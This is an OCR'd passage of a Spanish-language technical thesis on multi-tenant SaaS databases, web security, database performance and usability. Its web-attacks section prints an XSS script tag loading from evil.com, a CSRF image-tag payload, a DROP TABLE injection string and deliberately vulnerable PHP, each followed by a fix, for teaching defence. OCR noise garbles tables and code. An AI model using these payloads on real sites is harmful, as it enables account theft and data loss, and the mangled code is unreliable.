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Este acercamiento es de los tres el que presenta el menor costo de hardware y
mantenimiento, pero al tener la informacién de todos los inquilinos en la misma base de datos e
inclusive en el mismo esquema presenta un mayor reto y mayor trabajo en el concepto de
seguridad del sistema. El desarrollador tiene que prestarle mayor dedicacién a la parte del
sistema que se encarga de mantener la privacidad de la informacién de cada inquilino, el
sistema no debe permitir que un inquilino ajeno a la informacidn tenga acceso a esta (Chong et

al, 2006).

Este tipo de arquitectura es recomendable cuando se debe mantener una gran cantidad de
inquilinos en una limitada cantidad de servidores, proveyendo un sistema con un menor costo
de mantenimiento de hardware. Sin embargo cuando se dé una situacién de fallo se tiene que
tomar un procedimiento mds complicado a los presentados anteriormente. Un administrador
debe encargarse que las filas correspondientes al inquilino con problema sean eliminadas, luego
se restaura la informacion correspondiente. Este proceso puede afectar negativamente en la
eficiencia de los sistemas de los inquilinos que se encuentran ajenos a esta situacidon (Chong et

al, 2006).

4. Extensibilidad. Una aplicacién disefiada para varios inquilinos puede crear una serie de
tablas y base de datos predeterminadas para el manejo de la informacion, pero existen
empresas que necesitan cierta informacion en particular que deben mantener que otras
empresas no manejan. Existen varias formas de manejar los campos particulares de cada
empresa, entre ellas se encuentran: campos pre-alocados, paridad nombre-valor y columnas

especializadas (Chong et al, 2006).

a. Campos pre-alocados. Consiste en crear una serie de campos predeterminados en

una tabla para manejar valores extra para cada inquilino. Dependiendo de qué

inquilino se trate cada campo puede tener un significado diferente. Para algunos puede que el
campo signifique un estado ldgico, pero para otro significa un lugar. Existe una tabla con la
informacién de cada campo para cada inquilino, en esta se especifica si el campo es de tipo
entero, alfanumérico o algun otro. Es posible inclusive incluirse cudl es el nombre que cada

inquilino le desea asignar (Chong et al, 2006).



llustracién 15. Tabla con campos extra para uso de los inquilinos.

Inquilino ( ({ Nombre Fecha_Nac ' C1 C2 c3
345  ((| Ted 1970-07-02 | null "Paid" null
777 \\ Kay | 1956-09-25 | "66046" | null null
1017 (( Mary  |1962-12-21|null | null null
345 //l Ned 1940-03-08 | null "Paid" null
438 \\ Pat 1952-11-04 | null | *San Francisco" | *Yes"
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b. Paridad nombre-valor. Para evitar las limitantes que se tienen con los campos pre-
alocados, que dependen de un numero especifico de columnas, se pueden ir

guardando los campos nuevos en una tabla separada y una tabla con los metadatos de los
campos nuevos. La informacion que se debe guardar de cada campo nuevo consiste
principalmente de: nombre, tipo y una forma de asociar con los valores guardados (Chong et al,

2006).

[lustracion 16. Asociacion entre tablas para campos especiales.

Tablas Metadata

Inquilino | Nombre | Fecha Nac ' Registro Inquilino | Extension | Etiqueta  TipoDato
149 { Ted 1970-07-02 | 893 345 6279 *Subscriber* | bool

777 \ Kay 1956-09-25 | null 438 4620 [ *Quality* nt
| 784 { Mary 1962-12-21 | 564 [w 7634 . ]\:».y.]

35 Ned 1940-03-08 | 117 784 18903 M | “Bpeet | date

438 | Pat [ 1952-11-04 | 301 926 5550 “Affilation” | string

PrimaryDataTable

| Registro | Extension | Valor

802 6370 "Yos'
564 7604 "Gold~ ]
564 8903 *2008-07 .‘w'l
117 6279 *No*
301 | 4620 2"

Extension Table

. Columnas especializadas. En este acercamiento simplemente se agrega una nueva

columna a la tabla del inquilino que se desee. Esta forma de trabajo es exclusiva

para las arquitecturas de base de datos separadas o de esquemas separados. Este acercamiento

es mas sencillo, ya que no se tiene que guardar un registro de los cambios o de los tipos de cada

campo. El problema principal radica en que se tendrd un nimero variable de columnas,

dependiendo de cuantas agregue cada inquilino (Chong et al, 2006).
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[lustracion 17. Tabla con columnas especializadas agregadas por el inquilino.

Inquilino ",,{/ Nombre ‘ Fecha_Nac l Fec_Revision] Sede |4°1k
653 )/ Pat 1952-11-04 | null "San Francisco" | true
11310 \\_Tom | 1949-12-14 2006-01-30] *London* [ null
| 280 “1 Surendra | 1973-09-12 | 2005-11-08§ "Bangalore” | null
; 985 ; '\ { Christine | 1981-03-26 | 2006-06-09§ "San Francisco" | false
1701 \\| Gordon | 1964-08-20 | null *Toronto" [ null

R. Seguridad

1.

Seguridad en la base de datos

a. Patrones de Seguridad. Cuando se crea un sitio en internet que deba conectarse a

una base de datos o que tenga que obtener informacién de ésta para que los

usuarios puedan realizar tareas especificas, se necesita tener un control sobre la informacidn

gue se esta manejando (Chong et al, 2006).

Al estar administrando un sitio en modelo SaaS se necesita manejar varios niveles de

seguridad, entre ellos:

Filtrado: evitar que los usuarios tengan conocimiento de que no son los Unicos usuarios
en el sistema. Que no tengan conocimiento que la base de datos a la que pertenecen la
estan compartiendo.

Permisos: determinar quién tiene acceso a qué informacién en la base de datos. Ningln
usuario puede acceder a informacién a la que no este autorizado.

Encriptacién: evitar que los usuarios tengan acceso a informacidn critica. Debido a que
informacién sensitiva es almacenada en la base de datos esta debe estar protegida de
un acceso no permitido, y aunque se logrard acceder a ella la encriptacion debe evitar

que el valor real sea revelado (Chong et al, 2006).

b. Consejos para el desarrollo de una base de datos segura:

Para cualquier tipo de arquitectura con la que se desee trabajar, es necesario tener
varios niveles de seguridad. Al desarrollar un sistema que estd orientado para ser
utilizado por varios clientes surge la necesidad de mantener la privacidad de los datos
entre la informacidn de cada cliente. En un sitio que tiene gran flujo de peticiones y de

visitas es necesario mantener la consistencia de los datos y del sitio (Chapple, 2004).
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Para prevenir cualquier tipo de problema de seguridad y consistencia se presentan los
siguientes cinco consejos para desarrollar un sistema de base de datos segura (Chapple,
2004).

Usar vistas en vez de tablas. Cuando se desarrolla un sistema que intenta acceder a
informacién sensitiva, es necesario que el desarrollador utilice una serie de vistas en
lugar de brindar acceso directo a las tablas de la base de datos. Al utilizar vistas se limita
el uso directo de las tablas, manteniendo asi un mayor nivel de privacidad y mayor
control de acceso a la informacién (Chapple, 2004).

Hacer uso de “stored procedures”. Este tipo de procedimientos pueden ser
almacenados en el servidor, el desarrollador asegura de esta forma que siempre se
estara realizando la misma consulta o la misma serie de pasos en cada sistema
individual. Esta forma de trabajo ayuda a mantener la consistencia en el acceso de datos
y del sistema en general, tratdndose de un sistema que se basa fundamentalmente en
informacién almacenada en una base de datos (Chapple, 2004).

Cuando sea necesario hacer algin tipo de mantenimiento o mejora éste se hara de
forma mas sencilla, ya que en lugar de hacer varios cambios por separado simplemente
se realizara un cambio centralizado (Chapple, 2004).

No dejar comandos SQL en el cédigo de la aplicacion. Este paso va de la mano con el
paso anterior. Un desarrollador nunca debe dejar comando SQL en el cddigo de la
aplicacion, ya que si existiera algin usuario malicioso que pudiera modificar el cédigo de
la aplicacion entonces éste tendria acceso a una forma de ejecutar sus propios
comandos en la base de datos (Chapple, 2004).

No permitir que los desarrolladores tengan poder administrativo sobre los usuarios. Es
necesario que exista una separacion de poderes, no se debe permitir que los
desarrolladores puedan manejar, crear o eliminar los privilegios y permisos de un
usuario. Al evitar esto se previene que los desarrolladores “caigan en tentacidon” de
evitar que los usuarios puedan hacer cambios, solo para que la aplicacidon funcione
correctamente (Chapple, 2004).

Aplicar el principio de la menor cantidad de privilegios. Se plantea la idea que un usuario
no debe ser capaz de hacer mas de lo necesario para poder realizar su trabajo. Un

usuario, inclusive un administrador, no debe tener el poder de modificar las partes del
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sistema o de la base de datos que no sean mas que los cambios necesario en la

informacidn para cumplir con la tarea que tiene asignada (Chapple, 2004).

2. Errores comunes en el desarrollo de aplicaciones web. En estos dias los desarrolladores

de aplicaciones web necesitan estar capacitados en multiples disciplinas. Es necesario

que la aplicacién que se ha creado sea amigable al usuario, que tenga un alto rendimiento,
accesible y segura, todo esto mientras se ejecuta en ambientes no seguros en los cuales no se

tiene control (Tellis, 2010).

Existen muchas cosas por las cuales preocuparse cuando se habla de seguridad web: ¢El
sitio esta protegido? éLa informacién es segura? ¢Puede un atacante llenar con informacion
falsa la base de datos? éPuede un usuario obtener permisos o acceder a partes restringidas del
sitio? A continuacion se hablara de Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF)
y SQL injection (Tellis, 2010).

a. Cross-Site Scripting (XSS). Cross-Site scripting es un ataque en el cual el usuario es
enganado para ejecutar codigo del sitio de un atacante en el contexto de nuestro

sitio. Este problema no depende de lo que haga nuestro sitio, simplemente depende de qué
pueden hacer los usuarios en él. Por ejemplo, digamos que nuestro sitio permite que el usuario

despliegue mensajes de saludos a sus amigos, el cédigo seria algo asi:
<?php echo “Susuario dice Smensaje”;?>
Para leer el mensaje de usuario necesitariamos cédigo como el siguiente

<?php
Susuario =S$_COOKIE[‘user’];
Smensaje =$_REQUEST[‘message’];
if (Smensaje) {
save_message(Susuario, Smensaje);

}

>
<input type="text” name="message” value="<?php echo Smensaje ?>">
Esto funciona usando mensajes de texto, o inclusive con algunas etiquetas HTML como
<strong> o <em>. Esencialmente estamos confiando en que el usuario va a ingresar Unicamente

texto seguro. En la vida real, un atacante puede ingresar algo como lo siguiente:



49

Hola.. <script src="htttp://evil.com/bad_script.js”></script>

Cuando un usuario mire el mensaje en su propia pagina, él esta cargando el bad-script.js de
la pagina del atacante en su propia pagina, y el cddigo puede hacer cualquier cosa que quiera,
por ejemplo robar las cookies del documento, y luego hacerse pasar por el usuario y mandar

spam o cambiar contenidos de HTML de la pagina para hacer dafios (Tellis, 2010).

Todo esto sucede porque se ha confiado en el usuario mas de lo que se deberia. Si se
permitiera Unicamente el ingreso de contenido seguro a desplegar en la pagina, entonces se
previene al sitio de este tipo de ataque. Para lograr esto se utiliza la funcién de PHP input_filter.
El codigo entonces cambiaria a lo siguiente:

<?php
Susuario = filter_input(INPUT_COOKIE,‘user’,
FILTER_SANITIZE_SPECIAL_CHARS);
Smensaje = filter_input(INPUT_POST | INPUT_GET, ‘message’,
FILTER_SANITIZE_SPECIAL_CHARS);
if (Smensaje) {
save_message(Susuario, Smensaje);

}

>

<input type="text” name="message” value="<?php echo Smensaje ?>">

Debe notarse que el filtro ha sido aplicado al obtener la informacién y no antes de
desplegarla, esto es recomendable para que cuando un nuevo programador llegue no
tenga que recordar filtrar la informacidn, ya que de olvidarlo entonces el sitio seria
vulnerable al ataque nuevamente. El lado malo de este filtro radica en que si se necesita
desplegar contenido no-web entonces puede quedar codificado de forma no deseada

(Tellis, 2010).

b. Cross-site request forgery (CSRF). Este ataque sucede cuando un sitio malicioso
engaia a los visitantes para realizar una accién en nuestro sitio. Esto puede suceder si
un usuario inicia sesidn en un sitio que usa frecuentemente (email, Facebook, etc.), y luego visita
un sitio malicioso sin cerrar sesion. Si el sitio original es susceptible a un ataque CSRF, entonces

el sitio malicioso puede hacer cosas en nombre del usuario (Tellis, 2010).
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Debido a que la aplicacidn lee informacidn de POST de un texto, el atacante puede engaiiar
al usuario para enviar un mensaje incluyendo texto como el siguiente en el sitio: <img

src=http://www.mybiz.com/post_message?message=Medicina+barata+en+http://evil.com>

Ahora lo Unico que el atacante necesita hacer, es obtener usuario de mybiz.com para visitar
su sitio. Esto es facilmente logrado al colocar un juego, o fotos de animales bebés. Cuando el
usuario visita el sitio del atacante, el navegador web envia una peticién GET hacia
www.mybiz.com/post_message. Debido a que el usuario sigue con su sesidn iniciada en
www.mybiz.com, el navegador envia las cookies del usuario, haciendo asi que el anuncio de

“medicina barata” sea visto por todos los contactos del usuario (Tellis, 2010).

Para evitar que esto suceda, es necesario amarrar un objeto al usuario. Este objeto puede
ser usado Unicamente con un usuario que ha iniciado sesion, y esté basado en la cuenta del
usuario, una estampa de tiempo. Cuando el usuario envia la forma, este objeto debe ser
validado. Esto asegura que la peticién originada sea de una pagina que nosotros tengamos bajo
control. Otra forma de asegurar esto es amarrar una variable de sesién en el lado de la base de
datos del servido, junto con el tiempo en que el objeto fue generado. Esto hace mas complicado
para el atacante generar el objeto al solo intentar adivinar el tiempo en el que fue generado

(Tellis, 2010).

Finalmente, después de generar los objetos amarrados al usuario, las variables de sesién y
alguna otra forma de verificacién, Unicamente falta verificar que todos estos elementos sean
validos al momento de enviar la peticidn, si no es validado entonces no se procede con la

peticién (Tellis, 2010).

c. SQL Injection. En este tipo de ataque, el atacante explota la débil validacidn en
contra de acceso a la base de datos de nuestro sitio. Regresando al ejemplo de
ingreso de un mensaje de saludo, al momento de guardar el mensaje tendriamos un cddigo

similar al siguiente:

<?php
function save_message(Suser, Smessage) {
Ssql = “INSERT INTO Messages (user, message) VALUES
(‘Suser’,’Smessage’)”;
return mysql_query(5sql)
1>
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[lustracion 18. Ejemplo de una situacion en la que se ha llevado acabo un ataque de SQL

HI, THIS 1S

YOUR SONS SCHOOL.
WERE HAVING SOME
COMPUTER TROUBLE.

i%m

OH, DERR = DID HE
BREAK SOMETHING?

IN A WAY-

N
i

Injection.
DID YOU REALLY WELL, WEVE LOST THIS
MNAME YOLR SON YEARS STUDENT RECCRDS.
Robert'); DROP T HOPE YOURE HAPRY.
TABLE Studerts; -~ 7 41
{ AND T HPE
~ 0OH.YES LUTNE . YOUVE LEARNED
BOBBY TABLES, TO SANMZE YOUR,
WE CALL HIM. DATARASE INPUTS,

El usuario podria ingresar algo similar a esto: test’); DROP TABLE Messages;--Cuando esto

es pasado a la base de datos, podria terminar eliminando la tabla Messages, causando pérdidas

de informacion. Este tipo de ataque es usado también para ingresar informacién basura dentro

de la base de datos en nombre de otros usuarios. Por fortuna podemos usar cdédigo preparado

para evitar este problema. En PHP es sencillo preparar el cédigo para insertar, inclusive si la base

de datos no la soporta (Tellis, 2010).

<?php

function save_message(Suser, Smessage) {
global Sdbh;
Sstmt = Sdbh->prepare(‘INSERTO INTO Messages(user, message)
VALUES (?, ?));
return Sstmt->execute(array(Suser, Smessage));

}

>

Esto nos protege de la SQL Injection confirmando que todo dentro de Suser vaya

dentro del campo de user, y que todo dentro de Smessage vaya al campo de message

en la base de datos, inclusive si tiene caracteres extraios a un texto normal

(Whitehead, 2006).

d. Click-jacking. Este tipo de ataque ha ganado terreno y se ha vuelto muy popular de

forma reciente, gracias a redes sociales como Twitter y Facebook, debido a que

ambas transmiten mensajes muy rapido. Aqui, el usuario puede ser engafiado para hacer click

en un link para enviar una peticidn ellos mismos, entonces las ataduras y pases de seguridad que

se hayan creado no funcionaran. En este tipo de ataque el atacante incluye el sitio web en un
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marco incorporado (iframe) en su propio sitio web. El atacante no tiene que tener control sobre
la pdagina, solamente necesita tener control sobre el marco. Se utiliza CSS para colocar la
opacidad del marco a 0, y luego se utiliza JavaScript para moverla alrededor para que el botén

en envio este siempre debajo del mouse del usuario (Tellis, 2010).

[lustracion 19. Pagina ejemplo de Click-jacking. Notese el botdn de "Like" al centro.

a0 o Eric Kerr | Facebook Vulnerability: Like Clickjacking (=]
S5

G:)E] [ + |ex nttp://erickerr.com/like-clickjacking 8 ¢ {a- Google

7] © Eric Kerr | Facebook Vulnerability:.. [+
Tor

5. News Feed contains mention of attacker's content, which allows it to grow virally.
View Demo | View Source (button intentionally visible) m

More advanced versions might use cookies to detect when a user s returning so they can
actually use the site after presumably clicking the like button. Other modifications might
include detection on when a user clicks the invisible iframe so it is removed without the user
knowing and browsing returns to normal (this works in |E and Firefox, but not Chrome to my
knowledge because of iFrame security). The above demo arbitrarily hides the button after
10 seconds and leaves the button visible for effect

Twitter ran into a very similar attack last february with the propagation of a “Don’t Click”
button. The main difference is that Twitter was able to block the hole by disabling iFrame
embeds (basically if (window.top !== window.sel), then Twitter is nefariously being iFrame
embedded). Since the Like Button itself is an iFrame, Facebook can't employ the same logic
to detect clickjacking. ke

Advanced users would notice the change in cursor since the mouse is always located
above a link and can't be overridden since it's in an iFrame. However, during the casual flow
of browsing this would hardly go noticed

e Like B 931 people like this.

IR evoos e Lo [ozous

Add New Comment

La mejor manera para evitar este tipo de ataque consta de hacer que nuestro botdn de
enviar este deshabilitado hasta que hayamos determinado que es seguro usarlo. El problema
ahora radica en que usuarios con JavaScript deshabilitado no podran usar el botén de enviar

(Tellis, 2010).

e. Phishing

- Este tipo de ataque, uno de los mas comunes, consta de engafiar al usuario para que le
entregue sus datos de ingreso y credenciales. El atacante puede crear una pagina que
se mire exactamente como nuestra pagina de “inicio de sesidon” y pedirle al usuario que
ingrese su informacién y enviarla a sus base de datos. Esto se logra al enviar un link por
correo, mensaje de texto, Facebook, o algo similar. Debido a que la pagina del atacante
es idéntica a la nuestra, el usuario puede ingresar sus credenciales sin darse cuenta del

sitio malicioso en el que esta navegando. El principal acercamiento para una solucién a
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este tipo de ataques es el entrenamiento de usuarios, y existen varias cosas que se
pueden hacer para que esto sea efectivo (Tellis, 2010).

Siempre colocar la pagina de “inicio de sesidn” sobre SSL. Esto requiere mas recursos
de servidor, pero asegura que el navegador del usuario verifique que la pagina no estd
siendo direccionada a un sitio malicioso.

Usar solamente un URL para iniciar sesion, y hacerlo corto y facil de reconocer. Por
ejemplo podriamos usar https://login.mybiz.com como URL de inicio de sesién. Es
importante que el usuario vea una forma para iniciar sesidn para nuestro sitio, ademas
ellos veran este URL. Esto entrena a los usuarios a sospechar de formas de inicio de
sesion en otros URL.

Alternativamente, se puede usar una imagen de inicio de sesién, como la de Yahoo!.
Esta es una imagen que los usuarios seleccionan en nuestro sitio web, que solo ellos y
el sitio saben al respecto. Cuando el usuario mira la imagen en la pdagina de inicio de

sesion, ellos saben que estan en la pagina correcta (Tellis, 2010).

Ilustracién 20. Sello de inicio de sesidon de Yahoo!.

Sign in
to Yahoo!

Yahoo! ID.

Password:
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S.  Rendimiento en base de datos

1. Filosofia del rendimiento de una base de datos. Uno de los objetivos principales que se
toman en cuenta durante el desarrollo de un sistema, es que éste le ahorre al menos un

50% de esfuerzo al usuario para realizar una tarea que tenga asignada. Si se logra ahorrar esta
cantidad de esfuerzo, entonces no es problema que la aplicacién tarde unos cuantos segundos
en realizar la operacién, pero tampoco es deseable que el usuario pase viendo la pantalla por

varios minutos esperando que el proceso termine (MSDN, 2009).

Al momento de disefiar la base de datos existen cuatro aspectos importantes a tomar en

cuenta:

- Disefar la base de datos de forma adecuada: una base de datos normalizada siempre
es una buena forma de empezar un sistema eficiente.

- Crear indices para columnas que seran usadas de forma frecuente como criterio para
seleccionar o para hacer ordenamientos o inclusive para realizar joins. De esta forma
las consultas que se estaran realizando serdn optimizadas.

- Optimizar las consultas. Realizar operaciones con columnas especificas en lugar de un
SELECT * es una practica que al final retorna un pequefio impacto en el rendimiento,
pero realizar una consulta que retorne la menor cantidad de filas posibles y hacer uso
de los indices ya creados tendra un gran impacto en el rendimiento.

- Hacer que la base de datos realice el trabajo. Hacer consultas que retornen informacion
lo mas cercano al producto final, minimizar la cantidad de peticiones al minimizar la

cantidad de consultas y conexiones a la base de datos (MSDN, 2009).

Hacer uso de estos cuatro consejos puede crear la diferencia entre desarrollar una base de
datos eficiente y una muy lenta. No tomar en cuenta estos aspectos puede causar que una
consulta que toma un par de segundos se convierta en una consulta de mds de un par de
decenas de segundos o inclusive a horas. Hacer uso de procedimientos puede ayudar a realizar

consultas repetitivas (MSDN, 2009).

Otro aspecto importante que se debe tomar en cuenta es asignar el tipo adecuado a cada

columna de las tablas. Por ejemplo, un indice resulta mucho mas eficiente estando en una
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columna de tipo entero a una columna de tipo alfanumérico, que resulta ser mucho mas grande.
Sin embargo, no se debe tomar una decisién de si un campo debe ser int o smallint basado en el
rendimiento. Para decidir entre cudl tipo se debe asignar se debe tomar en cuenta el rango de
valores que la columna va a almacenar, por ejemplo si se tratase de los huesos del cuerpo que

tiene un rango entre 200 — 300 un tipo tinyint bastaria (MSDN, 2009).

2. Optimizar el desempeiio de una base de datos. El objetivo de mejorar el desempefio es
minimizar el tiempo de respuesta para cada peticién o consulta y maximizar el
rendimiento de la base de datos reduciendo el trafico de red, las entradas de disco y el tiempo
de CPU. Esto se logra entendiendo los requerimientos de la aplicacidn, la estructura légica de la

informacién y los procesos de transacciones (Bostrup, 2004).

a. Base de datos federada. Para adquirir un alto nivel de desempefio en sitios web con
un gran trafico de peticiones, un sistema puede balancear el procesamiento entre
varios servidores. A este grupo de servidores que en conjunto trabajan para satisfacer las

peticiones de varias aplicaciones o clientes se le llama una federacion (Bostrup, 2004).

b. Disefio de una base de datos. Existen dos componentes en el disefio de una base de

datos: el légico y el fisico. El disefio légico consta del modelado de los
requerimientos de un negocio e informacidon usando componentes de base de datos, como
tablas y condiciones sin tener en cuenta cdmo se guardara la informacién. El disefo fisico de la
base de datos consta en mapear el disefio légico en el medio fisico, tomando las ventajas de
hardware y software disponibles, con estas se permitird acceder a la informacién fisica y darle
mantenimiento lo mas rapido posible para proveer el mejor servicio posible para los usuarios

finales (Bostrup, 2004).

T. Definiciones clave

1. Disefio. El disefo es una parte fundamental en el desarrollo de cualquier producto en la

actualidad. Para entender mejor este concepto vale la referencia de definicion.de:

«Del italiano disegno, la palabra disefio se refiere a la traza o delineacién de un edificio o de una
figura. Se trata, de la concepcidn original de un objeto u obra destinados a la produccién en
serie. También puede referirse a un proyecto o plan, a la descripcidon verbal de algo, a la

disposicion de manchas, colores o dibujos que caracterizan a animales y plantas, y a la forma de


http://definicion.de/proyecto/
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los objetos.» (http://www.definicion.de).

Este concepto generalmente va ligado a disciplinas creativas. Se puede decir que el diseifo
es una vision grafica de una obra futura, lo que permite utilizar bosquejos, esbozos, dibujos y

esquemas como soporte.

Existe una diferencia entre disefiar y disefio. Disefiar se refiere al proceso de creacion y
desarrollo mientras que el sustantivo disefio es el resultado del proceso de disefiar.

De lo anterior podemos concluir que la palabra disefio involucra creatividad y estética. El
disefio consiste en desarrollar los planos ‘blueprints’ de nuestro proyecto, por lo que es de vital

importancia para los siguientes pasos.

2. Usabilidad. La usabilidad se refiere a lo facil y practica que es la utilizacién de algun

producto, software, etc. por parte de un usuario.

La Organizacion Internacional para la Estandarizacién (ISO) dispone de dos definiciones de
usabilidad:
ISO/IEC 9126:

«La usabilidad se refiere a la capacidad de un software de ser comprendido, aprendido,

usado y ser atractivo para el usuario, en condiciones especificas de uso» (E.Manchdn).
ISO/IEC 9241

«Usabilidad es la efectividad, eficiencia y satisfaccién con la que un producto permite
alcanzar objetivos especificos a usuarios especificos en un contexto de uso especifico»

(E.Manchon).

Por lo tanto, la usabilidad esta relacionada con la efectividad con la que un usuario final
interactua con algun producto. Pueden existir muchas aplicaciones y programas muy funcionales
y poderosos pero que sin una buena usabilidad, perderan valor para el usuario, que pasara por

muchos obstaculos para utilizarlo bien.

Es por esto que también la usabilidad es un factor en el cual se debe tomar las debidas

precauciones y la importancia necesaria para lograr mayores beneficios.

Algunos beneficios de una buena usabilidad pueden ser:


http://www.usability.serco.com/trump/resources/standards.htm#9126-1
http://www.usability.serco.com/trump/resources/standards.htm#9241-11
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- Reduccidn de los costes de aprendizaje.

- Disminucidn de los costes de asistencia y ayuda al usuario.

- Optimizacion de los costes de disefio, redisefio y mantenimiento de los sitios.

- Aumento de la tasa de conversion de visitantes a clientes del sitio web.

- Mejoralaimageny el prestigio del sitio web.

- Mejora la calidad de vida de los usuarios del sitio, ya que reduce su estrés, incrementa

la satisfaccion y la productividad.

Todos estos beneficios implican una reduccidon y optimizacidon general de los costes de
produccion, asi como un aumento en la productividad de los sitios web de comercio electrdnico.

La usabilidad permite mayor rapidez en la realizacion de tareas y reduce las pérdidas de tiempo.

Un caso real, después de ser redisefiado prestandose especial atencién a la usabilidad, el

sitio web de IBM incrementd sus ventas en un 400% (InfoWorld, 1999).

A partir de la conceptualizacion llevada a cabo por ISO, podemos obtener los principios

basicos en los que se basa la usabilidad:

- Facilidad de aprendizaje: se refiere a la facilidad con la que nuevos usuarios pueden
tener una interaccidon efectiva. Esta relacionada con la predictibilidad, sintonizacién,
familiaridad, la generalizacién de los conocimientos previos y la consistencia
(E.Manchon).

- Flexibilidad: hace referencia a la variedad de posibilidades con las que el usuario y el
sistema pueden intercambiar informacidn. También abarca la posibilidad de didlogo, la
multiplicidad de vias para realizar la tarea, similitud con tareas anteriores y la
optimizacidn entre el usuario y el sistema (E.Manchdn).

- Robustez: es el nivel de apoyo al usuario que facilita el cumplimiento de sus objetivos.
Estd relacionada con la capacidad de observacién del usuario, de recuperacién de

informacién y de ajuste de la tarea al usuario (E.Manchdn).
3. Usuario. Un usuario se refiere a cualquier individuo que interactte con algun producto.

4. Disefio web. El disefio web es el proceso de disefiar, conceptualizar, planificar y

desarrollar una pdgina web siguiendo estandares y conceptos bdsicos que garanticen
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una buena usabilidad y compatibilidad con los diferentes navegadores populares.

U. Principios a seguir

1. Disefio. Los principios a seguir durante el desarrollo del disefio de algun sistema en

particular se basan en la definicidn de este concepto por Alejandro Foria.

El disefo debe tener como base principal al usuario y el usuario puede ser de cualquier
tipo. Sin embargo, es imposible hacer un producto absolutamente accesible. Podra irse
mejorando e irse haciendo mas accesible con el tiempo pero siempre habrd alguien que no

pueda utilizarlo (A. Foria).

Con estos principios se puede lograr comprender mejor el proceso de disefo.

- El control de la situacion debe estar en manos del usuario: El usuario deberia estar
absolutamente comodo con el producto por lo que deberia tener acceso a personalizar
interfaz, modos, componentes, etc. El control lo debe tener el usuario.

- Es preciso un planteamiento directo: El planteamiento del sistema debe ser bien

orientado. El sistema debe ser facil de entender y utilizar.

Son validas las metaforas familiares y de ambientes sociales.

Se debe buscar la comodidad del usuario escondiendo comandos e instrucciones
complicadas pero que al mismo tiempo el usuario visualice el resultado de su

interaccion con el sistema.

La consistencia es parte indispensable en el diseiio:
Se debe buscar un sistema consistente para que el usuario pueda tener un facil

aprendizaje del mismo.

Hay que posibilitar la recuperacion de los errores:

Se debe tener en cuenta la minimizacién de errores pero al mismo tiempo la recuperacion

de estos. También es importante la robustez hacia errores del usuario.

Retroalimentacién apropiada por el sistema:
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El sistema debe mostrar mensajes claros, puntuales, serios y a su debido tiempo.

El usuario debe de estar informado del estado del sistema en todo momento (cargando,

transfiriendo datos, estableciendo conexidn, desconectando, etc.).

No se puede descuidar la estética:

Aparte de que debe ser un entorno agradable para el usuario, la utilizacién de colores,
tamafios y estilos de letra, ubicacidon de los objetos, tamafo de ventanas, etc. son factores

determinantes para el sistema.

El diseiio debe caracterizarse por su simplicidad:

La interfaz debe ser lo mas simple posible, facil de entender y utilizar, y con sus

funcionalidades entendibles y accesibles.

El disefio debe comunicar algo al usuario.

Es fundamental seguir una rigurosa metodologia de diseiio:

La actitud de disefio debe de ser enfocada en el usuario.

El disefio debe ser equilibrado (tratar de cumplir todos los principios).

Hay que entender al usuario:

Recordar que el usuario puede ser de cualquier tipo. Los usuarios pueden ser clasificados

en categorias y se debe buscar abarcar la mayor cantidad de estas categorias.

Hay que realizar renuncias en el disefio

Se debe sustraer del disefio cualquier parte que afecte alguno de los principios.

(A. Foria)

2. Usabilidad. Para entender los principios de la usabilidad, Alberto Lacalle menciona diez

principios puntuales y el por qué de estos:

Visibilidad del estado del sistema



60
El usuario debe estar enterado de qué esta sucediendo en todo momento: cargando archivo,
transfiriendo datos, conectando, etc.
Correspondencia entre el sistema y el mundo real

El sistema debe ser amigable con el usuario por lo tanto el usuario debe entender qué le estd

hablando. Los mensajes deben ser en el idioma correcto y utilizando palabras del mundo real.
Control y libertad del usuario

El usuario debe tener el control de la aplicacidn o tener esa impresion.

Consistencia y estandares

Los mensajes, ventanas y componentes deben ser consistentes y seguir un estandar para que el

usuario entienda el sistema.
Evitar errores

Un buen disefio deberia evitar la mayor cantidad de errores en vez de mostrar mensajes de

errores puntuales.
Reconocimiento

El usuario no debe forzar su memoria y recordar los pasos para utilizar el sistema. Este debe ser

intuitivo y facil de reconocer.
Flexible y eficiente

Debe ser accesible a la mayor cantidad de usuarios posible y que cada usuario se sienta lo mas

comodo posible.
Disefio minimalista

La simpleza del sistema puede ser un gran beneficio. No se debe mostrar nada que obstaculice

la utilizacion del mismo.

Ayuda y documentacidon


http://albertolacalle.com/diseno-estandares.htm

61

Los menus de ayuda y documentacién deben de estar accesibles al usuario en todo momento.

(A. Lacalle)

3. Seleccidon de usuarios. La seleccidn de usuarios para el producto en desarrollo ser
fundamental para el mismo producto. Debe ser realizada antes, durante y al final del
desarrollo para logara mejores resultados. Este concepto es explicado basdandose en definiciones

de Alberto Lacalle:

Usuarios son aquellos que interactian directamente con el producto para realizar algo.

Holtzblatt y Jones (1993) incluye en su definicion de usuario a quienes:

e Gestionan a los usuarios directos.
e Reciben productos del sistema.

e Testan el sistema.

e Tienen decisién de compra.

e Usan productos de la competencia.

Eason (1987) identifica tres categorias de usuario:

e Primarios: son quienes frecuentemente usan el sistema.
e Secundarios: los que ocasionalmente utilizan el sistema.
e Terciarios: todos los afectados por la introduccidon del sistema o que influencian su

compra (A. Lacalle).

Este factor también tiene mucha importancia debido a que la retroalimentacién obtenida
mejorara en calidad. Si realizamos una mala seleccién de usuarios es probable que se obtenga
retroalimentacion de mala calidad y no sera posible realizar modificaciones y obtener resultados

precisos y reales del producto.

V. Recomendacion de herramientas

Debido a la extensa gama de lenguajes, librerias, estdndares y componentes que existen
para el desarrollo web, es posible llegar a un punto de confusién y desorden en el momento de

escoger las herramientas con las cuales se desarrollara una pagina.


http://albertolacalle.com/hci-test-usabilidad.htm
http://albertolacalle.com/hci/competitividad.htm
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Este trabajo mostrara un conjunto de herramientas recomendadas para la elaboracién de la
pagina de Shopcase dentro de un buen disefio y una buena usabilidad. Dichas herramientas

fueron escogidas después de consultar:

o Guias de www.webdesign.org (Webdesign.org)

o Guias de contenido web en developer.apple.com (Apple Developer Connection)

o Recomendaciones y tutoriales de w3schools.com (w3scools.com)

o Guias para disefio web de JQuery (O. Blake)

o E-Book de Web Development & Design Foundations with XHTML (Web Development

Foundations).

W. Herramientas a utilizar en el desarrollo de Shopcase

1. AJAX. «Ajax significa Asynchronous JavaScript and XML. En realidad AJAX no es un
lenguaje de programacion web sino es una nueva forma de utilizar estdndares

existentes» (w3schools).

Con Ajax se interactua directamente con el servidor a través de un objeto XMLHttpRequest.
Debido a esto, no es necesario pedir (cargar) la pagina de nuevo al servidor ya que éste
